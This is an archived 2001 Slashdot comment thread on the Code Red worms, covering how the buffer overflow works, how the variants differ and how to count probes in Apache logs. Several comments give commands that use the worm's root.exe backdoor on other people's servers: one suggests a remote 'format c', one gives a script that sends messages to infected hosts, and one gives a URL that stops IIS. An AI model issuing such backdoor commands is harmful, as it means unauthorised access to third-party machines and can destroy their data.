Become a fan of Slashdot on Facebook

 



Forgot your password?
typodupeerror
×
Microsoft

Code Red III 759

drcrja was the first to send us this brief bit about Code Red III which is apparently faster and more vicious than its entertaining predecessors. I'm still wondering what I should do with the hundreds of IPs in my desktop's apache log trying hopelessly to overflow my buffer.
This discussion has been archived. No new comments can be posted.

Code Red III

Comments Filter:
  • by mblase ( 200735 ) on Friday August 10, 2001 @04:19PM (#2109736)
    not everyone is super connected and does know about this

    "Ignorance of the law is no excuse", nor is ignorance of your upgrade cycle.

    Its Microsoft's responisibilty to do everything they can to notify Win 2000 customers and solve this problem

    As I said, they're already doing that. The problem is that too many people don't realize it's a problem they need to attend to. They think they can just install a server, run it, and forget about it.

    their design flaw, not the admins. So they need to fix it.

    What do you think the patch is for? Even Slashdotters' much-adored Apache software isn't immune to the occasional oversight. The difference is that, as yet, almost everyone who runs Apache is a responsible administrator who already knows the importance of keeping things up-to-date.

    I'm not "blaming consumers for the corporation's mistakes," as you say. I'm saying that the corporation is doing everything it can be reasonably expected to, short of directly violating the privacy of every one of its registered customers by forcing a software upgrade down their broadband throats. At some point, you have to lay the blame on the users.

  • by nitehorse ( 58425 ) <clee@c133.org> on Friday August 10, 2001 @07:08PM (#2116932)
    Actually, if you add a line in your httpd.conf that looks like this:

    AddHandler cgi-script .ida

    then you can use Perl to write a quick script which will do the reverse lookup and then send that email. Or, if you want to use PHP instead, alter your AddType line for PHP to this:

    AddType application/x-httpd-php .php .php3 .ida

    Then restart apache, and throw a script named default.ida up to your DocumentRoot directory.

    -Chris
  • Re:More information? (Score:5, Informative)

    by ncc74656 ( 45571 ) <scott@alfter.us> on Friday August 10, 2001 @03:49PM (#2117423) Homepage Journal
    Okay. So, I'll put up a disclaimer on www.glowingplate.com that any connection attempts by machines infected with Code Red will be met with an HTTP request to $HOSTNAME/script/root.exe?+%2fc+format+c.

    Set up Lynx into a little script, log the confirmed kills to my log printer, and all is good legally because of the disclaimer. One would hope.

    That's probably a little further than the law will allow...but you could throw up a popup on infected systems. That'll let the admins on the other end know they have a problem. You can even include some simple help.

    I threw together a script a few nights ago that sends such a popup to every CodeRed2-infected server that's contacted my server. It's available at http://salfter.dyndns.org/codered.shtml [dyndns.org] if anyone's interested. I also have live log info available there...got only about two dozen hits from the original CodeRed, but CodeRed2 is at 3500 hits and climbing.

    Since the list is fairly lengthy at this point, let's see if I can sneak the script past the lameness filter:

    #!/bin/sh
    http_proxy=
    for i in `(echo use apache2 ; echo 'select host.host from transfer inner join\
    host on host.id=transfer.hostid where requestid=2058 and transfer.time>"2001-0\
    7-31";' ) | mysql | sort | uniq | grep -v ^host\$`
    do
    echo -n Sending Code Red message to $i...
    result=`ping -c 1 -w 3 $i | grep "100% packet loss"`
    if [ -n "$result" ]
    then
    ec ho host is down.
    else
    ly nx -dump http://$i/scripts/root.exe\?/c+net+send+localhost+ %22Your+w\
    eb server+has+been+infected+with+the+CodeRed2+worm.+Y ou+have+a+security\
    +h ole+so+big+that+you+can+drive+a+Mack+truck+through +it.+You+should+fi\
    x+ it+before+some+script+kiddie+comes+along+and+takes +advantage+of+it.+\
    +R emove+root.exe+and+shell.exe+from+c:%5Cinetpub%5Cs cripts+\(or+wherev\
    er +your+CGI+scripts+live,+though+c:%5Cinetpub%5Cscri pts+is+the+default\
    +l ocation\).%22 >/dev/null
    ec ho message sent.
    fi
    done

    Damn...looks like the lameness filter didn't throttle it, but some extra spaces got thrown in. The spaces that need to be removed are fairly obvious, though.

  • by TheMidget ( 512188 ) on Friday August 10, 2001 @03:25PM (#2117889)
    Certain Cisco routers crash when they get a Code Red probe. Supposedly, they have a builtin webserver for configuration purposes. So unplugging/replugging the router may occasionnally be necessary.
  • by wiredog ( 43288 ) on Friday August 10, 2001 @02:09PM (#2120746) Journal
    From The Register [theregister.co.uk]
  • by Asgard ( 60200 ) <jhmartin-s-5f7bbb@toger.us> on Friday August 10, 2001 @03:33PM (#2120932) Homepage
    DShield.org [dshield.org], a distributed IDS, would like you to do the following:

    grep 'default.ida' access_log | mail -s 'APACHE' redalert@dshield.org

    They use this information to notify the owners of the machines of the infection and to track the progression of the worm.

  • by Maditude ( 473526 ) on Friday August 10, 2001 @02:50PM (#2123707)
    Ever since Mediaone/AT&T started blocking port 80 (as of 2am last Monday here in Minnesota), I've been jealously watching you guys get to have all the fun.

    On the bright side, I have gotten acknowledgement from RRcustomercare (Mediaone/ATT/RR/pick one fscking name already!) that yes, technically it is okay to run a server as long as you don't negatively impact others. Then again, they are still saying that until this worm dies out, none of their customers will be seeing any incoming packets on port 80. :-(
  • by ebrandsberg ( 75344 ) on Friday August 10, 2001 @02:52PM (#2127435)
    For people that don't run a webserver, here is what I'm getting out of this command (note that my log is probably a LOT less massive than others because I'm in a relatively NT free IP block, with mostly Linux servers):

    grep "Aug.*ida" httpd.log cut -f4,7 -d' ' |cut -c2-7,22-40 |sort -n|uniq -c
    23 01/Aug /default.ida?NNNNN
    26 02/Aug /default.ida?NNNNN
    21 03/Aug /default.ida?NNNNN
    24 04/Aug /default.ida?NNNNN
    4 04/Aug /default.ida?XXXXX
    14 05/Aug /default.ida?NNNNN
    13 05/Aug /default.ida?XXXXX
    1 05/Aug /x.ida?AAAAAAAAAAA
    9 06/Aug /default.ida?NNNNN
    34 06/Aug /default.ida?XXXXX
    9 07/Aug /default.ida?NNNNN
    38 07/Aug /default.ida?XXXXX
    2 08/Aug /default.ida?NNNNN
    29 08/Aug /default.ida?XXXXX
    3 09/Aug /default.ida?NNNNN
    44 09/Aug /default.ida?XXXXX
    2 10/Aug /default.ida?NNNNN
    29 10/Aug /default.ida?XXXXX

    This was run at 11:45 PST, meaning today may be even worse for the XXX version than yesterday, probably about 60 attempts before the end of the day. There was a discussion about a code red removal worm, which given how long this thing has been attacking, and the results, is probably the ONLY way this thing is going to be removed. Why isn't the US Government issuing such a worm to protect national interests? It could operate by infecting only machines that attempt to infect the local machine, thus not probing any non-infected machines itself, if you arn't infected, it won't touch you, if you are, it will. Seems simple enough to me. At the rate of propogation this thing works at, it would quickly decimate most if not all infections very quickly.
  • by TheMidget ( 512188 ) on Friday August 10, 2001 @03:01PM (#2127898)
    > host banner ads on your server with the file name of /default.ida.

    Won't work. The worm won't follow redirects nor download any pictures (banners) from the page.

  • by sgt_getraer ( 448034 ) on Friday August 10, 2001 @02:42PM (#2128291) Homepage

    So I get a call from my ISP Verizon yesterday. They ask me if I have been having problems with the Code Red virus.

    "Nope, but my service is shot to hell. You guys must be having some serious problems."

    The representative goes on to tell me that I can 'fix' the code red virus by unplugging my router and plugging it back in. I try, vainly, to inform him that the virus is doing nothing to my hardware and the reason I'm having problems is that it's making swiss cheese of the SERVERS...

    Anyway, the guy finishes his script and hangs up. So is Verizon trying to cover up their ineptness by implying that the customer is infected, and not them? Proactivly trying to shift the blame to get less tech support call? Very strange indeed...

  • Re:More information? (Score:3, Informative)

    by helleman ( 62840 ) on Friday August 10, 2001 @08:36PM (#2128409) Homepage
    Modified version to grep standard apache log Change the top to be the following: file:#!/bin/sh for i in `(grep default /var/log/httpd/access_log | cut -f1 -d- | sort | uniq )` do=
  • by Keith Russell ( 4440 ) on Friday August 10, 2001 @05:05PM (#2129943) Journal
    I bet it isn't that hard to do "accidentally"
    Actually, it is. You are never offered the option during the initial installation (i.e. the moment you boot from the CD). You must wait until the entire installation is finished, then select "Add/Remove Windows Components" from the Add/Remove Programs control panel. From there, IIS can be selected. It is not selected by default.
  • by Anonymous Coward on Friday August 10, 2001 @02:56PM (#2129989)
    http://ip/scripts/root.exe?/c+net+stop+IISSERVICEN AME where IISSERVICENAME is the name of the IIS service, which I don't remember. The root.exe process might not have rights to do this, i am not sure.
  • Re:More information? (Score:4, Informative)

    by pi_rules ( 123171 ) on Friday August 10, 2001 @02:02PM (#2130407)
    There were/are three versions actually. Incarnations 1 and 2 had the same purpose though. CRv1a (I think that's the accepted name) had a rather dumb random number generator. CRv1b had a much more targeted random number generator. CRv1a and CRv1b were very close in code though. The code for v1b was in v1a, but wasn't activated. The author had it just jump over the not-yet-wanted portions. You can spot a CRv1 attempt because it uses N's to fill up the buffer.

    CRv2 on the other hand (which is technically the 3rd release, but the first two did almost the same thing) fills up the buffer using X's and then opens the backdoor, sets up root.exe in the scripts/ mapping, etc. Totally different codebase from what I gather.

    In all likely hood the media is confused. It wouldn't be the first time. I figure if there's a CRv3 ever out there it won't be near as nice as v2 is. I'm thinking massive damanage upon infection to the machine... but not enough to keep the worm from spreading.

    Justin Buist
  • by mystery_bowler ( 472698 ) on Friday August 10, 2001 @02:00PM (#2134472) Homepage

    I understand that Code Red is a worm, but I wish I had more of an understanding of how it really works and what it is really doing. Anyone got a good explanation or link to an explanation?

  • by Tony-A ( 29931 ) on Saturday August 11, 2001 @01:42AM (#2138093)
    What kind of server buffer handler would execute the content of the buffer? You have to go out of your way doing stupid things to make it happen. Who are these morons at Microsoft who write that kind of code?
    Flippant answer. The kind that win benchmarks. Anything that reserves reasonable amounts of memory for variable-length things and cannot or does not insure that nothing spills outside its limits has this kind of problem, and that's most everything, not just Microsoft. Note that the real problem is not the exploits, it is the unnoticed cases where innocent input corrupts logically unrelated data.
  • by BigBlockMopar ( 191202 ) on Friday August 10, 2001 @02:30PM (#2139567) Homepage

    I'm still wondering what I should do with the hundreds of IPs in my desktop's apache log
    should we set up a site somewhere of ip addrs?

    Already got one! [glowingplate.com] Remember, the list, including fully-qualified hostnames [glowingplate.com], is for _educational_ purposes only. I've made it available [glowingplate.com] so that we can study how this thing moves, not for such purposes as mass-spamming postmaster@$IIS-INFECTED-HOSTNAME with flames reminding him that he is a bliterhing idiot, nor for other untoward activities which may be performed on a machine with a shell in a webserver's public directory.

  • CodeRed Information (Score:2, Informative)

    by SpunOne ( 222681 ) on Friday August 10, 2001 @02:31PM (#2141076) Homepage
    CodeRed - There were two versions of the original CodeRed worm, both of which were strictly memory resident and fairly tame, all things considered. Both of these will show NNNN's in your log files. You can find more information here [eeye.com].

    CodeRed 2 - This is the worm we're seeing now, the one with the XXXX's in your logs. This worm seems to most frequently scan in it's own IP range (Class A I think?) So, if you're in the 24/8 range, you'll probably see a lot of scans from people using various cable providers. You can find more information about CodeRed 2 here [eeye.com].

    So far, I haven't seen anything on the security sites confirming a 3rd version of this worm. The media has often used the term CodeRed3 to describe what is actually CodeRed2, the one giving us grief right now.

    If a new variant of this worm does make it into the wild, it'll be interesting to see how quickly it can spread. It seems that a lot of hosts infected with CR2 give the error (403.9 Too many users connected) when you try to access port 80, which causes the eeye scanner to miss them, and apparently keeps them from being exploited by a new worm. It also keeps people from getting to the /scripts/root.exe that CR2 leaves behind as a backdoor. I'm not sure why IIS would give an error about too many users being connected when in reality, the number of CR hits are around 1-2 a minute. It's likely that the IIS process looks for the number of open sockets and then gives that message if there are too many sockets open. This would make sense since CR2 will open up ~300 connections in its attempt to spread.

    It was also mentioned yesterday that NT4 servers that have been patched are still vulnerable to CR2 if they're using redirection. This seems odd to me, since the patch should have fixed a buffer overflow in idq.dll. If that overflow was fixed and IIS is still crashing, perhaps there is another buffer overflow that's showing up when it gets the long string from CR2 as part of the redirection. Just a guess on my part though.

  • by DeadMeat (TM) ( 233768 ) on Friday August 10, 2001 @03:05PM (#2147119) Homepage
    Code Red takes advantage of what's called a "buffer overflow" in Microsoft's IIS web server software.

    What happens is that IIS sits there, waiting for Web browsers to request pages. A Code Red infected server starts randomly picking other computers on the Internet or the network, and requests them to send a Web page called default.ida. It then passes a huge parameter to default.ida.

    Apparently, default.ida has hard-coded a maximum length for parameters -- say, 200 letters. (Probably not actually 200 -- but you get the idea.) That's what all the XXX and NNN's are there -- it's the 200 (etc.) letters that's the most default.ida is expecting to receive. A buffer overflow is when something goes past that maximum number of letters, and a program with a buffer overflow problem usually does something strange with the information past that point -- in this case, default.ida takes everthing after that number of letters and runs it like it were a program.

    Normally, this would just crash IIS (since it's getting a bunch of garbage, and running garbage makes programs crash) but Code Red is purposely designed so after the right number (200 or whatever) of XXX/NNN's, it tacks on the code to infect the computer with Code Red. So, IIS runs the code, the computer becomes infected with Code Red, it starts trying to spread it to other computers, and the whole cycle starts all over again.

  • Re:Bah. (Score:4, Informative)

    by mjh ( 57755 ) <(moc.nalcnroh) (ta) (kram)> on Friday August 10, 2001 @03:09PM (#2147133) Homepage Journal
    I've got entire projects sitting dead in the water because one server relies on one piece of third-party software that can't operate with Service Pack 6a, and so can't be brought up until they find a solution.

    You might be interested in this article [securityfocus.com]titled, "Securing an unpatchable webserver"

  • Code Red 'counter' (Score:2, Informative)

    by Delphis ( 11548 ) on Friday August 10, 2001 @03:09PM (#2147139) Homepage
    I'm not too worried about the IP address, although I am interested to know how many times an infection attempt has been tried (amusing when you're using apache 1.3.20). The simple command:

    cat /var/log/httpd/*/access_log.099* | grep default.ida | wc -l

    acts like a simple 'counter', if you have your logs for different sites split up and using rotatelogs like I do.
  • K5 contest (Score:2, Informative)

    by Anonymous Coward on Friday August 10, 2001 @03:11PM (#2147154)
    That contest is already running on Kuro5hin. The big "problem" is that many systems don't run IIS with Administrator priv, so the backdoor is limited in how much repair it can do.

    I just have my web server do a "net send %DOMAIN%" to warn them about their problem.

  • Re:More information? (Score:2, Informative)

    by Cheeko ( 165493 ) on Friday August 10, 2001 @02:03PM (#2153227) Homepage Journal
    Actually I velieve that Code Red III is the varient that CNN reported is showing up in Southeast Asia (Korea I believe). From the report on Headline news it is faster and creates a "bigger backdoor" than Code Red II. Then again until it starts to hit someplace in the US or Europe I don't think it will be really confirmed.
  • by srw ( 38421 ) on Friday August 10, 2001 @06:00PM (#2153474) Homepage
    It's been done. It's been on slashdot.
    [slashdot.org]
    http://slashdot.org/article.pl?sid=01/08/04/1413 21 1&mode=thread


    Look for "codeRedNeck"
  • by Nate Fox ( 1271 ) on Friday August 10, 2001 @02:00PM (#2156844)
    According to Symantec's page [sarc.com] on CR2:

    Also Known As: CodeRed.v3, CodeRed.C, CodeRed III, W32.Bady.C

On the eighth day, God created FORTRAN.

Working...